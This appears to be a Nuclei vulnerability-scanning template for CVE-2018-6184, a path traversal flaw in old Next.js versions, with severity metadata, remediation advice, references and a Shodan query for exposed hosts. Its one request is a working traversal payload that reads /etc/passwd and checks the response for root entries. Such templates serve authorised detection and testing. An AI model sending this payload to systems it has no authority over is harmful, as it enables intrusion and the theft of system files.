id: CVE-2018-6184

info:
  name: Zeit Next.js <4.2.3 -  Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
  reference:
    - https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
    - https://github.com/zeit/next.js/releases/tag/4.2.3
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6184
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-6184
    cwe-id: CWE-22
    epss-score: 0.00396
    epss-percentile: 0.70512
    cpe: cpe:2.3:a:zeit:next.js:4.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query: html:"/_next/static"
  tags: cve,cve2018,nextjs,lfi,traversal

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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